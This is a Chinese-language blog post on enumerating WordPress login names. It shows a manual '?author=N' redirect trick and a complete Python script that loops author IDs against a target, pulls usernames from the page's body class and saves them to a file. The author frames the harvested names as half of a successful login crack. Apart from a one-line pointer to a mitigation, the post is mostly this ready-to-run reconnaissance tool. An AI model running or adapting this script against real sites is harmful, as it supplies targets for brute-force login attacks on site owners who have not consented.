[WordPress安全]利用爬虫抓取网站所有用户的登陆名

这篇文章中假设www.baidu.com是一个WP网站。

方法1:通过userid请求返回用户登陆名
请求网址:http://www.baidu.com/?author=2
响应网址:http://www.baidu.com/index.php/author/username/

通过这种方式可以获取userid=2的用户对应的WP登陆名为:username
这个网页的本意是查询这个用户创建的所有posts,但其实也暴露了该用户的登陆名。

涉及的函数:
./wp-includes/author-template.php
function get_author_posts_url()


方法2:通过html的body中获取到用户名
脚本功能:获取一个Wordpress网站所有用户的登陆名

#!/usr/bin/env python
# encoding: utf-8
# wp_get_auth.py

import requests
import sys
import os
import re

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings()

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'keep-alive'
}


def getAuthor():
    url = 'http://192.168.1.1/'
    for i in range(1, 50):

        geturl = url + "?author={}".format(i)
        print (geturl)

        try:
            global res
            res = requests.get(geturl, headers=headers, verify=False, timeout=10).content
        except Exception as e:
            print (str(e))

        p = re.compile(r'<body class="archive author author-(.+?) author-')
        matchs = []
        try:
            matchs = p.findall(res.decode())
        except UnicodeDecodeError:
            matchs = p.findall(res)

        for auth in matchs:
            fp = open('auth.txt', 'a')
            fp.write(auth + '\n')
            fp.close()


if __name__ == '__main__':
    getAuthor()

脚本运行原理:
通过向网站发送”GET”请求:
http://www.baidu.com/?author=1
http://www.baidu.com/?author=2
http://www.baidu.com/?author=3

未针对该漏洞事先防范的WP网站在返回的html响应中,会包含如下字符串:
<body class=”archive author author-name author-userid custom-background”>
这个字符串中:
name就是用于登陆WP使用的用户名,userid就是GET请求对应的传参。

通过遍历userid,发送对应的GET请求,就可以拿到该ID对应的登陆名。
在有了登陆名之后,登陆破解就成功了一半。

附:
1.该脚本源地址:
wordpress获取用户名脚本

2.该类型漏洞的应对方法:
修改functions.php以应对爬虫通过漏洞获取wp登陆名

Leave a Reply

Your email address will not be published.